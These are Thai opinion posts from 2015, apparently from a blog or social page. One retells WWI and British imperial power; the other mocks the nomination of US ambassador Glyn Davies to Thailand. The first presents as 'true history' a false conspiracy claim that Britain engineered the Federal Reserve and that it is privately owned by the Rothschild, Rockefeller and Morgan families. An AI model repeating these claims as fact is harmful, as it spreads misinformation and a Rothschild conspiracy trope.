    อังกฤษคงกลัวน้อยหน้า เดี๋ยวเขาจะว่าเก่งแต่ปาก วันที่ 4 สิงหาคม คศ 1914 อังกฤษจึงรีบประกาศสงครามกับเยอรมันบ้าง โดยอ้างเหตุผลว่า เพื่อปกป้องความเป็นกลางของเบลเยี่ยม เป็นการอ้างเหตุผลการเข้าสงครามที่ตอแหลอย่างน่าทุเรศ เหตุผลจริงของอังกฤษในการทำสงคราม ชั่วร้ายเกินกว่าที่เราจะนึก แต่ที่น่าสนใจอย่างยิ่งคือ สถานะการเงินของอังกฤษ ขณะตัดสินใจประกาศทำสงครามกับเยอรมันนั้น อังกฤษอยู่ในสภาพล้มละลาย

    ถังแตกขนาดนั้น ทำไมอังกฤษยังคิดทำสงคราม และทำได้อย่างไร

    นิทานเรื่องจริง เรื่อง “ต้มข้ามศตวรรษ”
    บทนำ

    (2)

    ประมาณปี คศ 1890 อังกฤษ แม้จะอยู่บนเกาะใหญ่เท่าปลายนิ้ว ก้อยของเท้าซ้าย แต่ก็สร้างเสริมตนเอง ด้วยความฉลาด เล่ห์เหลี่ยม และความชั่วร้าย จนโดดเด่น มีอำนาจทั้งในด้านการเมือง การทหาร และ การค้า และคิดเอาเองว่า ไม่มีใครจะกล้ามาทาบรัศมี จักรภพอังกฤษอันกว้างใหญ่ แผ่ไพศาลไปเกือบทั่วโลก จนดวงอาทิตย์หาที่ตกในจักรภพไม่ได้ เมื่อคิดอย่างนั้น อังกฤษก็พยายามทำทุกอย่าง ที่จะรักษาความเป็นที่หนึ่ง และเอาโลกใบนี้ให้อยู่ในกำมือของตนเองตลอดกาล หรือให้นานที่สุดเท่าที่จะยืดคอทำได้

    จะเอาโลกไว้ในกำมือ อังกฤษต้องทำให้ตนเองมีเสาหลัก หรืออำนาจควบคุมใน 3 เรื่อง

    – ควบคุมเส้นทางเดินเรือ

    – ควบคุมระบบการเงินการธนาคาร

    – ควบคุม หรือครอบครองทรัพยากรที่เป็นผลต่อยุทธศาสตร์ของตน
    เสาหลักแรก: การควบคุมเส้นทางเดินเรือ อังกฤษ ทำได้สำเร็จ โดยใช้บริษัทประกันภัยใหญ่หมายเลขหนึ่งของอังกฤษ Lloyd ซึ่งมีเครือข่ายทั่วโลก บวกกับการใช้เครือข่ายของธนาคารอังกฤษ เป็นผู้วางกฏ เกี่ยวกับการการขนส่งทางเรือ รวมทั้งใช้กองทัพเรือของตน ที่อังกฤษภูมิใจหนักหนาว่า ไม่มีใครเก่งเทียบ และไม่กล้าท้าทาย ทำหน้าที่เป็นเรือคุ้มกันภัย ให้กับเรือขนส่งสินค้าสัญชาติอังกฤษ โดยไม่ต้องทำประกันภัย ขณะที่คู่แข่ง ถูกบังคับให้ทำประกันภัยกับ Lloyd หรือคิดจะเสี่ยง กับการเจอภัยพิบัติกลางทะเล มันดูไม่ต่างกับการขู่กรรโชกของโจรสลัด

    สินเชื่อ และตั๋วแลกเงิน ที่จำเป็นต้องออกให้แก่กันในการค้าขาย และขนส่งสินค้าทางเรือ อังกฤษบีบให้ทำผ่านธนาคารของอังกฤษ ซึ่งเป็นธนาคารส่วนบุคคล ที่ได้รับการสนับสนุนจาก Bank of England ซึ่งก็เป็นผลผลิต ของกลุ่มนักการเงินใน City of London ที่นำโดย เจ้าพ่อใหญ่ ตระกูล Rothschild และพวก เช่น Barings, Hambros เป็นต้น

    ประมาณ ปี 1900 อังกฤษ ยืนยืด อกแอ่น จนแทบหงายหลัง ประกาศว่า เรามีเสาหลักนี้ ตั้งตระหง่านเรียบร้อยแล้ว

    เสาหลักที่สอง: การควบคุบระบบการเงิน และระบบการธนาคาร อังกฤษวางแผนอย่างคร่ำเคร่ง แต่เงียบสนิท และผลของมัน ทำให้เกิดระบบธนาคารกลางในอังกฤษ และที่สำคัญ อังกฤษเป็นตัวการสำคัญ ในการวางแผนอีกต่อหนึ่ง ทำให้เกิด Federal Reserve System ในอเมริกา ในปี คศ 1913 ที่เรารู้จักกันในนาม Federal Reserve Bank หรือ ที่เรียกกันสั้นๆว่า Fed ซึ่งเป็นของเอกชน ไม่ใช่เป็นของรัฐ และเป็นเอกชนไม่กี่ตระกูล ที่ส่วนใหญ่เป็นเครือข่าย ของตระกูล Rothschild ของฝั่งอังกฤษ และ ตระกูล Rockefeller และ Morgan ของฝั่งอเมริกา

    Fed มีอำนาจมากมาย และมีอิสระหลายเรื่อง ที่ไม่ต้องอยู่ในความควบคุมของรัฐบาลอเมริกัน โดยเฉพาะ ในการพิมพ์ธนบัตร การกำหนดอัตราดอกเบี้ยกู้ยืมระหว่างสถาบัน ฯลฯ การตัดสินใจของ Fed มีผลกระทบต่อเศรษฐกิจการเงิน ตลาดทุน ตลาดหุ้น ของอเมริกา และของโลก แม้แต่สมันน้อย ยังต้องคอยฟังว่า เฟด เขาว่าอะไร ฟังแล้ว รู้เรื่องจริงไหม เข้าใจไหม เป็นอีกเรื่อง แต่ต้องคอยฟัง ต้องพูดถึง เพราะมันเข้าสมัย และผู้บริหารบ้านเราก็แสนฉลาด เดินทุกก้าวตาม ที่เฟด บอก

    Fed จึงกลายเป็นตัวสำคัญในการชักใยการเงินโลกจนถึงทุกวันนี้ เป็นไปตามเป้าหมายของเสาหลักที่สอง ที่มีอานุภาพรุนแรงและยาวนานอย่างไม่น่าเชื่อ

    เสาหลักที่สาม: ควบคุม หรือครอบครอง ทรัพยากรที่มีผลสำคัญต่อยุทธศาสตร์ ในความหมายของอังกฤษ ขณะนั้น และยังมีผลจนถึงขณะนี้ก็คือ น้ำมัน! ซึ่งไม่ใช่มีความหมายเฉพาะกับอังกฤษเท่านั้น แต่มันมีความหมาย และมีผลกับโลกนี้ทั้งใบ

    สวัสดีครับ
    คนเล่านิทาน
    20 เม.ย. 2558
    ต้มข้ามศตวรรษ – บทนำ 1 – 2 นิทานเรื่องจริง เรื่อง “ต้มข้ามศตวรรษ” บทนำ (1) จากประวัติศาสตร์ ที่ฝรั่งทั้งเขียนทั้งแต่ง และคนไทยเอามาแปล เป็นทั้งหนังสืออ่าน และบทเรียนประวัติศาสตร์สากล ทำให้เราเข้าใจ และเชื่อว่า สงครามโลกครั้งที่ 1 เกิดขึ้นจาก เหตุการณ์ลอบฆ่าอาชดยุก ฟรานซ์ เฟอร์ดินานด์ รัชทายาทของออสเตรีย-ฮังการี โดยชาวเซอรเบีย ที่เซราเจโว เมืองหลวงของเซอร์เบีย เมื่อวันที่ 28 มิถุนายน คศ 1914 มันเป็นเหตุการณ์ที่เกิดขึ้นจริง และเป็นสายชนวนเส้นหนึ่ง ของสงครามโลกครั้งที่ 1 จริง แต่มันไม่ใช่ “สาเหตุ ” แท้จริงที่ทำให้เกิดสงครามโลก แม้เหตุการณ์นั้น จะทำให้ออสเตรียโกรธจัด ควันออกหูก็ตาม ออสเตรียกับเซอร์เบียขบเขี้ยวกันมานานแล้ว เนื่องจากออสเตรียซึ่งตอนนั้นคิดว่าตนเองกล้ามใหญ่ ไปผนวกเอาบอสเนียและเฮอเซโกวีนา ซึ่งเป็นส่วนหนึ่งของอาณาจักรออตโตมาน มาเป็นของตน ตั้งแต่ประมาณปี คศ 1878 ทำให้เซอร์เบียซี่งถือว่าบอสเนียเป็นพวกเดียวกันตัว เป็นเดือดเป็นแค้นแทน และเอาความแค้นไปฝากใส่หูรัสเซีย ในฐานะลูกพี่ใหญ่ของพวกสลาฟ และกลุ่มนิกายออโธดอกซ์ หลังจากมีการเจรจา ที่มีเค้าว่าจะล้มเหลวตั้งแต่เริ่มต้นอยู่ประมาณ 1 เดือน ในวันที่ 28 กรกฏาคม คศ 1914 ออสเตรียก็ประกาศสงครามกับเซอร์เบียรัฐเล็กกระจ้อย เพื่อให้รับผิดชอบการฆาตกรรมดังกล่าว ออสเตรียเชื่อว่า จะได้รับการช่วยเหลือจากเยอรมัน หากรัสเซียออกมาหนุนหลังให้เซอร์เบีย ออสเตรียคงต้องลุ้นหนักว่า เยอรมันจะมาช่วยทันไหม เพราะวันรุ่งขึ้น 29 กรกฏาคม รัสเซียก็ประกาศระดมพล เตรียมตัวรบแล้ว ในวันเดียวกันนั้น ไกเซอร์ของเยอรมัน ก็ส่งโทรเลขไปหาซาร์นิโคลัสของรัสเซีย ขอร้องไม่ให้เรียกระดมพล และคงเพราะมีไมตรีต่อกันฉันท์ญาติ ซาร์จึงระงับคำสั่งระดมพลไว้ชั่วคราว แต่ฝ่ายกองทัพของรัสเซียไม่ชอบใจ ที่ซาร์ออกอาการลังเล วันรุ่งขึ้น 30 กรกฏาคม จึงพากันเดินตบเท้า เข้าไปกล่อม แกมบีบให้ซาร์มีคำสั่งระดมพลต่อ คงมีใครอยากรบเต็มที วันที่ 31 กรกฏาคม ทูตเยอรมันประจำเมือง St Petersburg ก็เข้าไปพบซาร์ และยื่นหนังสือของเยอรมัน ที่ประกาศสงครามต่อรัสเซีย หลังจากนั้นก็เอามือปิดหน้าและเดินออกไปจากห้อง ไม่ใช่คนเยอรมันทุกคนอยากทำสงคราม โดยเฉพาะกับรัสเซีย ซึ่งแท้จริงแล้ว ไม่ได้เป็นศัตรูกับเยอรมัน เนื่องจากรู้ว่า ฝรั่งเศสและรัสเซียมีสัญญาให้การร่วมมือกันทางกองทัพ เยอรมันจึงตัดสินใจว่า จะต้องจัดการอย่างรวดเร็ว ให้ฝรั่งเศสหมอบราบเสียก่อนที่รัสเซียจะขยับมาช่วยทัน เพราะเยอรมันคาดว่า รัสเซียน่าจะใช้เวลานานในการระดมพล ขณะนั้นกองทัพของรัสเซียมีขนาดใหญ่ที่สุดในยุโรป วันที่ 3 สิงหาคม คศ 1914 เยอรมันจึงรีบประกาศสงครามกับฝรั่งเศส หลังจากนั้นเยอรมันก็เคลื่อนพลเข้าไปในเบลเยี่ยม เพื่อใช้เป็นทางข้ามไปโจมตีฝรั่งเศส อังกฤษคงกลัวน้อยหน้า เดี๋ยวเขาจะว่าเก่งแต่ปาก วันที่ 4 สิงหาคม คศ 1914 อังกฤษจึงรีบประกาศสงครามกับเยอรมันบ้าง โดยอ้างเหตุผลว่า เพื่อปกป้องความเป็นกลางของเบลเยี่ยม เป็นการอ้างเหตุผลการเข้าสงครามที่ตอแหลอย่างน่าทุเรศ เหตุผลจริงของอังกฤษในการทำสงคราม ชั่วร้ายเกินกว่าที่เราจะนึก แต่ที่น่าสนใจอย่างยิ่งคือ สถานะการเงินของอังกฤษ ขณะตัดสินใจประกาศทำสงครามกับเยอรมันนั้น อังกฤษอยู่ในสภาพล้มละลาย ถังแตกขนาดนั้น ทำไมอังกฤษยังคิดทำสงคราม และทำได้อย่างไร นิทานเรื่องจริง เรื่อง “ต้มข้ามศตวรรษ” บทนำ (2) ประมาณปี คศ 1890 อังกฤษ แม้จะอยู่บนเกาะใหญ่เท่าปลายนิ้ว ก้อยของเท้าซ้าย แต่ก็สร้างเสริมตนเอง ด้วยความฉลาด เล่ห์เหลี่ยม และความชั่วร้าย จนโดดเด่น มีอำนาจทั้งในด้านการเมือง การทหาร และ การค้า และคิดเอาเองว่า ไม่มีใครจะกล้ามาทาบรัศมี จักรภพอังกฤษอันกว้างใหญ่ แผ่ไพศาลไปเกือบทั่วโลก จนดวงอาทิตย์หาที่ตกในจักรภพไม่ได้ เมื่อคิดอย่างนั้น อังกฤษก็พยายามทำทุกอย่าง ที่จะรักษาความเป็นที่หนึ่ง และเอาโลกใบนี้ให้อยู่ในกำมือของตนเองตลอดกาล หรือให้นานที่สุดเท่าที่จะยืดคอทำได้ จะเอาโลกไว้ในกำมือ อังกฤษต้องทำให้ตนเองมีเสาหลัก หรืออำนาจควบคุมใน 3 เรื่อง – ควบคุมเส้นทางเดินเรือ – ควบคุมระบบการเงินการธนาคาร – ควบคุม หรือครอบครองทรัพยากรที่เป็นผลต่อยุทธศาสตร์ของตน เสาหลักแรก: การควบคุมเส้นทางเดินเรือ อังกฤษ ทำได้สำเร็จ โดยใช้บริษัทประกันภัยใหญ่หมายเลขหนึ่งของอังกฤษ Lloyd ซึ่งมีเครือข่ายทั่วโลก บวกกับการใช้เครือข่ายของธนาคารอังกฤษ เป็นผู้วางกฏ เกี่ยวกับการการขนส่งทางเรือ รวมทั้งใช้กองทัพเรือของตน ที่อังกฤษภูมิใจหนักหนาว่า ไม่มีใครเก่งเทียบ และไม่กล้าท้าทาย ทำหน้าที่เป็นเรือคุ้มกันภัย ให้กับเรือขนส่งสินค้าสัญชาติอังกฤษ โดยไม่ต้องทำประกันภัย ขณะที่คู่แข่ง ถูกบังคับให้ทำประกันภัยกับ Lloyd หรือคิดจะเสี่ยง กับการเจอภัยพิบัติกลางทะเล มันดูไม่ต่างกับการขู่กรรโชกของโจรสลัด สินเชื่อ และตั๋วแลกเงิน ที่จำเป็นต้องออกให้แก่กันในการค้าขาย และขนส่งสินค้าทางเรือ อังกฤษบีบให้ทำผ่านธนาคารของอังกฤษ ซึ่งเป็นธนาคารส่วนบุคคล ที่ได้รับการสนับสนุนจาก Bank of England ซึ่งก็เป็นผลผลิต ของกลุ่มนักการเงินใน City of London ที่นำโดย เจ้าพ่อใหญ่ ตระกูล Rothschild และพวก เช่น Barings, Hambros เป็นต้น ประมาณ ปี 1900 อังกฤษ ยืนยืด อกแอ่น จนแทบหงายหลัง ประกาศว่า เรามีเสาหลักนี้ ตั้งตระหง่านเรียบร้อยแล้ว เสาหลักที่สอง: การควบคุบระบบการเงิน และระบบการธนาคาร อังกฤษวางแผนอย่างคร่ำเคร่ง แต่เงียบสนิท และผลของมัน ทำให้เกิดระบบธนาคารกลางในอังกฤษ และที่สำคัญ อังกฤษเป็นตัวการสำคัญ ในการวางแผนอีกต่อหนึ่ง ทำให้เกิด Federal Reserve System ในอเมริกา ในปี คศ 1913 ที่เรารู้จักกันในนาม Federal Reserve Bank หรือ ที่เรียกกันสั้นๆว่า Fed ซึ่งเป็นของเอกชน ไม่ใช่เป็นของรัฐ และเป็นเอกชนไม่กี่ตระกูล ที่ส่วนใหญ่เป็นเครือข่าย ของตระกูล Rothschild ของฝั่งอังกฤษ และ ตระกูล Rockefeller และ Morgan ของฝั่งอเมริกา Fed มีอำนาจมากมาย และมีอิสระหลายเรื่อง ที่ไม่ต้องอยู่ในความควบคุมของรัฐบาลอเมริกัน โดยเฉพาะ ในการพิมพ์ธนบัตร การกำหนดอัตราดอกเบี้ยกู้ยืมระหว่างสถาบัน ฯลฯ การตัดสินใจของ Fed มีผลกระทบต่อเศรษฐกิจการเงิน ตลาดทุน ตลาดหุ้น ของอเมริกา และของโลก แม้แต่สมันน้อย ยังต้องคอยฟังว่า เฟด เขาว่าอะไร ฟังแล้ว รู้เรื่องจริงไหม เข้าใจไหม เป็นอีกเรื่อง แต่ต้องคอยฟัง ต้องพูดถึง เพราะมันเข้าสมัย และผู้บริหารบ้านเราก็แสนฉลาด เดินทุกก้าวตาม ที่เฟด บอก Fed จึงกลายเป็นตัวสำคัญในการชักใยการเงินโลกจนถึงทุกวันนี้ เป็นไปตามเป้าหมายของเสาหลักที่สอง ที่มีอานุภาพรุนแรงและยาวนานอย่างไม่น่าเชื่อ เสาหลักที่สาม: ควบคุม หรือครอบครอง ทรัพยากรที่มีผลสำคัญต่อยุทธศาสตร์ ในความหมายของอังกฤษ ขณะนั้น และยังมีผลจนถึงขณะนี้ก็คือ น้ำมัน! ซึ่งไม่ใช่มีความหมายเฉพาะกับอังกฤษเท่านั้น แต่มันมีความหมาย และมีผลกับโลกนี้ทั้งใบ สวัสดีครับ คนเล่านิทาน 20 เม.ย. 2558
    0 Comments 0 Shares 86 Views 0 Reviews
  • เรื่อง คนวัดปรอท
    “คนวัดปรอท”

    สงสัยลูกกระเป๋งจะไปรายงานว่า มีคนนินทานักล่าปีกเหี่ยวใบตองแห้ง ว่า ถึงกับไปไม่เป็น ยืนเซ่ออยู่กลางสี่แยก เมื่อเห็นนายกรัฐมนตรีรัสเซีย คุณหน้าเฉย Dmitry Medvedev ยิ้มหวาน ดมดอกไม้กับคุณแก้มยุ้ย นายกรัฐมนตรีไทยเมื่อต้นเดือนเมษานี้เอง เลยต้องรีบควานหา คนวัดปรอทคนใหม่ เอามานั่งวัดอุณหภูมิของทุกพรรค ทุกพวก ทุกกลุ่ม ทุกกอง ฯลฯ ในแดนสมันน้อยว่า มันร้อนไปทางไหน เย็นไปทางไหน เอาให้แน่ๆ เพราะคนเก่า ใช้ปรอทไม่เป็น ใช้เป็นแต่เซลฟี่ ฮา

    พณะโอบามา ออกข่าวเมื่อวันสงกรานต์นี่เองว่า จะเสนอให้นาย Glyn Townsend Davies ผู้ที่คร่ำหวอด อยู่ในกิจการต่างด้านประเทศ เรียกว่า เป็นนักการทูตมืออาชีพ มีประวัติการทำงานยาวเหยียด มาเป็นเอกอัครราชทูตอเมริกา ประจำราชอาณาจักรไทย ทำหน้าที่วัดปรอทการเมืองไทยทุกตารางนิ้วเสียใหม่ หลังจากที่ปล่อยให้สำนักถนนวิทยุเงียบเหงามากว่า 6 เดือน จนเสียรางวัดให้เขาดมดอกไม้ แย้มยิ้ม เหมือนเย้ยใคร

    ประวัติเด่นของนาย Davies ที่เขาบรรยายส่งมา ผมว่ารายการแรก ต้องยกให้เรื่องน้องคิมของผม ดูเหมือนนาย Davies นี่จะเป็นคนที่เอ็นดูน้องคิม เจ้าพ่อเกาหลีเหนือเป็นพิเศษ ดูแลนโยบายเกาหลีเหนือช่วงปี 2012-2014 และเคยสรุปเสนอรัฐสภาว่า ไม่เป็นประโยชน์อันใดที่จะพูดคุยกับน้องคิมให้รู้เรื่อง ถ้าอเมริกาอยากจะหารือเรื่องเกาหลี เหนือ โน่น ไปพบผู้ปกครองน้องคิม อาเฮียแห่งแผ่นดินใหญ่ จะรู้เรื่องเร็วกว่า แสดงว่า คนวัดปรอทคนนี้ น่าจะเป็นผู้ชำนาญงาน แหม แต่เหมาเอาง่ายๆ ว่า น้องคิมเป็นเด็กในปกครองของอา เฮีย นี่ ผมก็ไม่รู้นะ ว่าน้องเขาจะชอบใจไหม น้องเขาโตแล้ว เขาตัดสินใจเองได้น่า ว่าจะส่งของขวัญให้ใคร ที่ไหน และเมื่อไหร่ ฮาอีกที

    ประวัติเด่นรายการที่สอง นาย Davies เคยเป็นตัวแทน ของนักล่าปีกเหี่ยวใบตองแห้ง ช่วงปี 2009-2012 ใน International Atomic Energy Agency (IAEA) หรือ ไอ้เออีเอ ที่เป็นไม้เบื่อ ไม้เมาของ Saddam แห่งอืรัค คอยตามตรวจว่า ซัดดัมมีนิวเคลียร์ติดตัวไว้กี่ลูก ผลการตรวจ ไม่เจอซักลูก แต่ดันได้น้ำมันไปหลายปั้ม คนอิรัคตายไปหลายแสน ไม่มีบ้านเหลือให้ซุกหัวอีกหลายล้านคน และตอนนี้ ไอ้เอกับอีเอ ก็กำลังรีรอ ว่า จะเป็นไม้เบื่อ หรือจะไปเมา กับอิหร่านดี อีกไม่กี่เดือนก็รู้กัน

    แต่ประวัติเรื่องนี้จะเอามาทำอะไรที่แดนสมันน้อยได้ครับ หรือจะมาดู ว่าการยิงบ้องไฟของเรานี่ จะเข้าข่ายที่ ไอ้เอกับอีเอมันข้องใจ

    ประวัติเด่นรายการที่สาม คือ เป็นผู้ดูแลกิจการด้านเอเซียตะวันออก และแปซิฟิก ช่วงปี 2006-2009 แสดงว่ารู้จักผู้คนแถบนี้ดี คงไม่น่าจะใช่ประเภท กางแขนเเป็นอีแร้ง รำวงให้คนไทยดู แบบยายกุ้งแห้ง อย่านึกว่าทำแบบนั้นแล้วคนไทยจะชอบนะครับ มีแต่ไอ้พวกสอพลอที่ชื่นชม ถามลุงแก่ๆอย่างผม ผมว่าน่าทุเรศครับ คนเราน่าจะเจริญพอ ที่คิดสร้างไมตรีด้วยวิธีอื่นได้ดีกว่านี้ นึกไม่ออกว่าจะทำอย่างไร ก็อย่าส่งมาให้เสียรางวัดไปกว่าเดิมเลย แค่นี้ก็เขียนด่าจะไม่ทันอยู่แล้ว
    แต่ที่ผมสนใจประวัติ คนวัดปรอทคนนี้ คือแกเคยทำงานอยู่ในสภาความมั่นคง National Security Council ช่วงรัฐบาลคลินตัน ประธานาธิบดีขวัญใจเด็กฝึกงาน และจบปริญญาโทด้าน ยุทธศาสตร์ความมั่นคงของชาติ national security strategy จาก National War College

    และที่น่าสนใจ อีกเรื่อง คือ ข่าว ลงวันที่ 13 เมษายน 2015 ของThe Leaderboard ซึ่ง CogitAsia หน่วยงาน ของ CSIS Center for Strategic & International Studies ถังขยะความคิด ซึ่งเป็นเหมือนหน่วยราชการ ของอเมริกา ออกข่าวเกี่ยวกับการที่นายโอบามา เสนอชื่อคนวัดปรอทคนใหม่ของอเมริกา ประจำประเทศไทย โดยระบุว่า ประเทศไทย ซึ่งเคยเป็นพันธมิตร ที่แข็งแรงที่สุด ของอเมริกาในภูมิภาคนี้ แต่หลังจากการปฏิวัติของไทย เมื่อปี 2014 ความสัมพันธ์ของอเมริกากับไทย ก็สั่นคลอน ในฐานะนักการทูตมืออาชีพ นาย Davies จึงเป็นที่คาดหวังว่า เขาจะใช้ความรู้เกี่ยวกับวิกฤติทางการทูต ให้เป็นประโยชน์สำหรับสถานะการณ์ทางการเมืองของที่ยังมองอะไรไม่ชัดเจน….

    ทั้งหมดนี้ แปลว่าอะไรครับ แปลว่า อเมริกาปล่อยให้สมันน้อย หลุดมือไม่ได้เด็ดขาด รู้ว่า ยายกุ้งแห้งเซลฟี่ จะหมดเทอม อเมริกาก็ยังไม่หาใครมาแทน ทิ้งช่วงอยู่กว่า 6 เดือน เพื่อรอดูว่า การเมืองสมันน้อยจะไปทางไหนแน่ หลังจากมีการปฏิวัติ อเมริการอจนชัดเจนว่า สมันน้อยเริ่มมองโลกกว้าง ออกคบเพื่อนมากขึ้น รูปนายกแก้มยุ้ยของไทย จับมือ ยิ้มหวานกับอาเฮีย ก็ทำให้อเมริกาคิดหนักแล้ว แต่เมื่อนายกแก้มยุ้ย ชวนนายกหน้าเฉย จากรัสเซียดมดอกไม้นี่ อเมริกาคงตัดสินใจได้ ว่าควรจะรีบส่งคนวัดปรอท แบบผู้ชำนาญด้านยุทธศาสตร์ มาประจำการได้แล้ว

    แต่ถ้าอเมริกาคิดจะใช้ยุทธศาสตร์แบบเดิมๆ บีบคอสมันน้อย ให้ยืนนิ่งอยู่ในคอก แล้วสั่งซ้ายหัน ขวาหัน เหมือนอย่างเดิมน่าจะเป็นไปได้ยาก อเมริกายังยืนเซ่ออยู่กลางสี่แยกจริงๆ ยังอ่านไม่ออกว่า การเมืองของสมันน้อยหลังการปฏิวัติ และจากนี้ไป จะไปทางไหน ส่งพวกปากเสียมาเสือกหลายรอบ ต้ังแต่สมันน้อยปฏิวัติ แทนที่จะได้ผล ทำท่าจะเสียทั้งผลทั้งต้น เสียทั้งต้น นี่เรื่องใหญ่ อเมริการับไม่ได้หรอก

    ทางออกตอนนี้ ของนักล่าปีกเหี่ยวใบตองแห้ง จึงต้องส่งคนวัดปรอท ชนิดผู้ชำนาญการ มาทำการวัดปรอท ทุกตารางนิ้วในแดนสมันน้อยใหม่หมด และดูจากประสพการณ์ และการข่าว คนวัดปรอท คนใหม่นี้ น่าจะไม่ใช่แค่มายืนๆ เดินๆ แล้วเอาปรอทแหย่ปากสมันน้อย คนวัดปรอทอาจจะมีวิธี ทำให้ปรอทร้อน ถึงร้อนจัด หรือเย็นจัดในบางสถานที่ บางกลุ่มด้วย

    เราจึงต้องจับตาดูคนวัดปรอทคนใหม่นี้ให้ดี เรากำลังมุ่งหน้าที่จะออกมาจากคอก สู่การเป็นอิสระชนแล้ว ก็เดินอย่างสง่าผ่าเผย รักษาอธิปไตย และความเป็นกลางของประเทศให้ดี เมื่อรัฐบาลเลือกเดินนโยบายที่จะไม่ให้ใครมาจูงจมูก เราประชาชนก็สมควรสนับสนุน ไม่ใช่คิดแต่จะคบเพื่อน แค่คนใดคนหนึ่ง โดยเฉพาะด้วยแค่ความคุ้นเคย แถมให้มันบีบซ้ายกระตุกขวาได้อยู่เรื่อยๆ เราไม่ได้เป็นเมืองขึ้นใคร จะคบเพื่อนกี่คนก็ขึ้นอยู่กับความต้องการของเรา ขอให้เพื่อนรู้จักเคารพ และเห็นคุณค่าของความเป็นเพื่อนกัน เรื่องในบ้านเพื่อนก็ให้เกียรติกันบ้าง อย่าเสือกทุกเรื่อง ยิ่งบางเรื่อง ไม่บังควร ผ่านมา 60 ปี ยังไม่เรียนรู้ จะเป็นเพื่อนกันต่อไปทำไม
    อย่านึกว่าสมันน้อยโง่หมด สีที่ฟอกย้อมไว้ มันถลอกลอกไปแยะแล้ว เพราะพฤติกรรมความเสือก ความตะกระ ความกร่าง ความเจ้าเล่ห์ ของอเมริกาเองนั่นแหละ

    จะมาเดินวัดปรอทกันใหม่ ก็หัดเรียนรู้ใหม่ ไอ้พวกที่ชอบมาอ่านเพจผม แล้วรวนเครื่องผม อย่ารวนเปล่า นายใหม่จะมาแล้ว แปลไว้ให้อ่านเลย จะได้ประหยัดเวลามาวัดปรอทแถวนี้

    สวัสดีครับ
    คนเล่านิทาน
    15 เม.ย. 2558
    เรื่อง คนวัดปรอท “คนวัดปรอท” สงสัยลูกกระเป๋งจะไปรายงานว่า มีคนนินทานักล่าปีกเหี่ยวใบตองแห้ง ว่า ถึงกับไปไม่เป็น ยืนเซ่ออยู่กลางสี่แยก เมื่อเห็นนายกรัฐมนตรีรัสเซีย คุณหน้าเฉย Dmitry Medvedev ยิ้มหวาน ดมดอกไม้กับคุณแก้มยุ้ย นายกรัฐมนตรีไทยเมื่อต้นเดือนเมษานี้เอง เลยต้องรีบควานหา คนวัดปรอทคนใหม่ เอามานั่งวัดอุณหภูมิของทุกพรรค ทุกพวก ทุกกลุ่ม ทุกกอง ฯลฯ ในแดนสมันน้อยว่า มันร้อนไปทางไหน เย็นไปทางไหน เอาให้แน่ๆ เพราะคนเก่า ใช้ปรอทไม่เป็น ใช้เป็นแต่เซลฟี่ ฮา พณะโอบามา ออกข่าวเมื่อวันสงกรานต์นี่เองว่า จะเสนอให้นาย Glyn Townsend Davies ผู้ที่คร่ำหวอด อยู่ในกิจการต่างด้านประเทศ เรียกว่า เป็นนักการทูตมืออาชีพ มีประวัติการทำงานยาวเหยียด มาเป็นเอกอัครราชทูตอเมริกา ประจำราชอาณาจักรไทย ทำหน้าที่วัดปรอทการเมืองไทยทุกตารางนิ้วเสียใหม่ หลังจากที่ปล่อยให้สำนักถนนวิทยุเงียบเหงามากว่า 6 เดือน จนเสียรางวัดให้เขาดมดอกไม้ แย้มยิ้ม เหมือนเย้ยใคร ประวัติเด่นของนาย Davies ที่เขาบรรยายส่งมา ผมว่ารายการแรก ต้องยกให้เรื่องน้องคิมของผม ดูเหมือนนาย Davies นี่จะเป็นคนที่เอ็นดูน้องคิม เจ้าพ่อเกาหลีเหนือเป็นพิเศษ ดูแลนโยบายเกาหลีเหนือช่วงปี 2012-2014 และเคยสรุปเสนอรัฐสภาว่า ไม่เป็นประโยชน์อันใดที่จะพูดคุยกับน้องคิมให้รู้เรื่อง ถ้าอเมริกาอยากจะหารือเรื่องเกาหลี เหนือ โน่น ไปพบผู้ปกครองน้องคิม อาเฮียแห่งแผ่นดินใหญ่ จะรู้เรื่องเร็วกว่า แสดงว่า คนวัดปรอทคนนี้ น่าจะเป็นผู้ชำนาญงาน แหม แต่เหมาเอาง่ายๆ ว่า น้องคิมเป็นเด็กในปกครองของอา เฮีย นี่ ผมก็ไม่รู้นะ ว่าน้องเขาจะชอบใจไหม น้องเขาโตแล้ว เขาตัดสินใจเองได้น่า ว่าจะส่งของขวัญให้ใคร ที่ไหน และเมื่อไหร่ ฮาอีกที ประวัติเด่นรายการที่สอง นาย Davies เคยเป็นตัวแทน ของนักล่าปีกเหี่ยวใบตองแห้ง ช่วงปี 2009-2012 ใน International Atomic Energy Agency (IAEA) หรือ ไอ้เออีเอ ที่เป็นไม้เบื่อ ไม้เมาของ Saddam แห่งอืรัค คอยตามตรวจว่า ซัดดัมมีนิวเคลียร์ติดตัวไว้กี่ลูก ผลการตรวจ ไม่เจอซักลูก แต่ดันได้น้ำมันไปหลายปั้ม คนอิรัคตายไปหลายแสน ไม่มีบ้านเหลือให้ซุกหัวอีกหลายล้านคน และตอนนี้ ไอ้เอกับอีเอ ก็กำลังรีรอ ว่า จะเป็นไม้เบื่อ หรือจะไปเมา กับอิหร่านดี อีกไม่กี่เดือนก็รู้กัน แต่ประวัติเรื่องนี้จะเอามาทำอะไรที่แดนสมันน้อยได้ครับ หรือจะมาดู ว่าการยิงบ้องไฟของเรานี่ จะเข้าข่ายที่ ไอ้เอกับอีเอมันข้องใจ ประวัติเด่นรายการที่สาม คือ เป็นผู้ดูแลกิจการด้านเอเซียตะวันออก และแปซิฟิก ช่วงปี 2006-2009 แสดงว่ารู้จักผู้คนแถบนี้ดี คงไม่น่าจะใช่ประเภท กางแขนเเป็นอีแร้ง รำวงให้คนไทยดู แบบยายกุ้งแห้ง อย่านึกว่าทำแบบนั้นแล้วคนไทยจะชอบนะครับ มีแต่ไอ้พวกสอพลอที่ชื่นชม ถามลุงแก่ๆอย่างผม ผมว่าน่าทุเรศครับ คนเราน่าจะเจริญพอ ที่คิดสร้างไมตรีด้วยวิธีอื่นได้ดีกว่านี้ นึกไม่ออกว่าจะทำอย่างไร ก็อย่าส่งมาให้เสียรางวัดไปกว่าเดิมเลย แค่นี้ก็เขียนด่าจะไม่ทันอยู่แล้ว แต่ที่ผมสนใจประวัติ คนวัดปรอทคนนี้ คือแกเคยทำงานอยู่ในสภาความมั่นคง National Security Council ช่วงรัฐบาลคลินตัน ประธานาธิบดีขวัญใจเด็กฝึกงาน และจบปริญญาโทด้าน ยุทธศาสตร์ความมั่นคงของชาติ national security strategy จาก National War College 